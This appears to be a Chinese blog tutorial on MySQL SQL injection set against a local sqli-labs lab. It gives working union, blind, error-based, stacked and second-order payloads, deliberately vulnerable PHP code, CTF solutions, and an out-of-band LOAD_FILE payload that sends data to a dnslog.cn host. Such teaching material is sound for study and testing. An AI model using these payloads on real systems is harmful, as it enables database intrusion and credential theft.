sql注入详解【从数据库架构分析】

简介

SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。

数据库的架构

  • access数据库无数据库用户

  • mysql数据库

    • mysql类型一

      • root(自带默认)

        • 网站A testA
        • 网站B testB
    • mysql类型二

      • testA用户

        • 网站A testA
      • testB用户

        • 网站B testB
  • mysql数据库名称含义

    • information_schema:存储数据库下的数据库名、表名及列名信息的数据库。

      information_schema.schemata:记录数据库名信息的表。

      information_schema.tables:记录表名信息的表。

      information_schema.columns:记录列名信息的表。

      schema_name:在information_schema.schemata中,用于记录数据库名的列名值。

      table_schema:在information_schema.tables中,用于记录数据库名的列名值。

      table_name:在information_schema.tables中,用于记录表名的列名值。

      column_name:在information_schema.columns中,用于记录列名的字段。

    • 示例

      • information_schema.schemata中的schema_name

      • information_schema.tables中的table_name

      • information_schema.columns中的column_name

sql注入

  1. 概念
    1. SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。
  2. 正常语句
  3. 正常回显页面
  4. 在页面中使用sql语句
    1. 查有多少字段

      1. http://127.0.0.1/sqliab/Less-1/?id=1’order by 3–+

      2. http://127.0.0.1/sqliab/Less-1/?id=1’order by 4–+,报错说明有2个字段

    2. 数据库名称

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,database(),3–+
    3. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

      2. 字段

        1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
      3. 对应字段的值

      4. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+

  5. 跨库查询

    1. 数据库名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
    2. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“demo01”–+
    3. 字段

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘news’–+
    4. 字段的值

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,page_title,0x5c,heading,0x5c,content) from demo01.news–+

sql文件读写

  1. 影响条件
    1. 当前数据库用户的权限
    2. secyre-file-priv设置
  2. 复现
    1. 读写的路径的问题
      1. 报错显示获取路径
      2. phpinfo页面泄露
      3. 利用常见的默认的中间件,数据库等安装路径读取有价值的信息

sql注入请求分类

  1. sql注入请求类型
    1. 数字型

      1. select * from news where id=$id;
    2. 字符型

      1. select * from news where id=‘$id’;
    3. 搜索型

      1. select * from news where id like ‘%id%’;
    4. 框架型

      1. select * from news where id=(‘$id’);
      2. select * from news where (id=‘$id’);
  2. sql注入请求方式:
    1. get,post,files,http头等

      1. user-agent

        1. 语句: u a = ua= ua=_SERVER[‘HTTP_USER_AGENT’];
      2. cookie

        1. 语句: c = c= c=_COOKIE[‘c’];
      3. X-Forwarded-For:简称XFF头,用于获取服务器的真实ip(可伪造)

        1. 语句: x f f = xff= xff=_SERVER[‘HTTP_X_FORWARDED_FOR’];
      4. Referer:请求来源–从哪个网站来的

        1. 语句: r = r= r=_REQUEST[‘r’];
      5. Host:指定自己想访问的web服务的域名/ip地址和端口号

  3. sql注入数据请求格式
    1. json格式

    2. base64格式

数据库的增删改查

  1. 数据库查询
    1. SELECT * FROM news where id=$id
  2. 数据库添加
    1. INSERT INTO news (ziduanming VALUES (数据)
  3. 数据库删除
    1. DELETE FROM news where id=$id
  4. 数据库修改
    1. UPDATE news SET id=$id

盲注

  1. 时间
    1. 概念

      1. 通过时间判断语句是否成功执行来解决无回显问题
    2. and sleep(1);

    3. and if(1>2,sleep(5),0);

  2. 布尔
    1. 概念

      1. 通过页面是否正常返回来判断语句是否被执行,源码需要有前端输出变量
    2. and length(database())=7;

    3. and left(database(),2)=‘pi’

    4. and substr(database(),1,1)=‘p’

  3. 报错
    1. 概念

      1. 通过页面的容错处理返回的结果来进行注入,源码需要有mysqli_error函数
    2. updatexml函数

      1. http://127.0.0.1/sqli/new.php?id=-1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)

    3. extractvalue函数

      1. and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));

    4. flor函数

      1. http://127.0.0.1/sqli/new.php?id=-1 OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0) * 2)) x FROM information_schema.tables GROUP BY x) a)
    5. NAME_CONST报错

      1. http://127.0.0.1/sqli/new.php?id=-1 or exists(select * from (select*from(select name_const(version(),0))a join (select name_const(version(),0))b)c)

二次注入

  1. 插入恶意发数据
    1. 第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据
    1. 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
  3. 条件:
    1. 插入恶意数据的对应语句需要有addslashes函数,他是用来将传来的数据的单引号进行转义插入数据库,原来主义是防止sql注入的,现在导致了二次注入

      1. 用户输入:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        转义函数转义后:xiaodi/’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        数据库显示:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  4. 示例:
    1. 主要源码

      register.php
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
          $username = addslashes($_POST['username']);
          $password = $_POST['password'];
      
          // 插入新用户记录
          $query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
      ===================================================================================
      changepassword.php
      $query = "SELECT * FROM users WHERE username = '$username' AND password = '$currentPassword'";
          $result = mysqli_query($connection, $query) or die(mysqli_error($connection));
          if (mysqli_num_rows($result) > 0) {
              // 更新密码
              $query = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";
              $updateResult = mysqli_query($connection, $query);
              if ($updateResult) {
                  echo "Password changed successfully!";
              } else {
                  echo "Failed to change password!";
              }
          } else {
              echo "Invalid username or current password!";
          }
      
  5. 堆叠注入

    1. 条件

      1. 查询函数时需要用到mysqli_multi_query函数,而不是mysqli_query()函数,因为他不支持多条语句执行
      2. 数据库(此数据库默认是只能执行一条sql语句,但是可以配合一些函数达到多条语句查询效果,例如联合查询(union select),堆叠注入(mysqli_query()))支持多条语句查询
      3. 存在sql漏洞并未对‘;‘进行过滤
    2. 示例:

      [强网杯 2019]随便注  1
      ';show databases;//注意不是database()
      ';show tables;
      1';use/**/supersqli;SeT @a=0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;prepare a from @a;execute a;#
      进入supersqli数据库,16进制解码后select * from `1919810931114514`;1919810931114514为表名,后面就是执行语句的意思
      解法二:
      1'; handler `1919810931114514` open as a; handler a read next;#
      解读:
      handler代替select,以一行一行显示内容
      open打开表
      as更改表的别名为a
      read next读取数据文件内的数据次数
      解法三:
      1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
      解读:
      -- 重命名表 words 为 BaiMao
      RENAME TABLE words TO BaiMao;
      
      -- 重命名表 1919810931114514 为 words
      RENAME TABLE `1919810931114514` TO words;
      
      -- 向表 words 添加一个自动递增的 id 列,并设为主键
      ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;
      
      -- 修改列 flag 的名称为 data,并将其类型改为 varchar(100)
      ALTER TABLE words CHANGE flag data VARCHAR(100);
      
      -- 注释掉之后的内容
      

带外注入

  1. 条件

    1. root高权限
    2. 数据库支持load_file函数
  2. 示例:

    1.  SELECT * FROM `news` WHERE id = -1 or (SELECT LOAD_FILE(CONCAT('//', (SELECT DATABASE()),'.k7e9z3.dnslog.cn')));
       实战碰到的概率不大,演示不了,payload如上所示
      
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值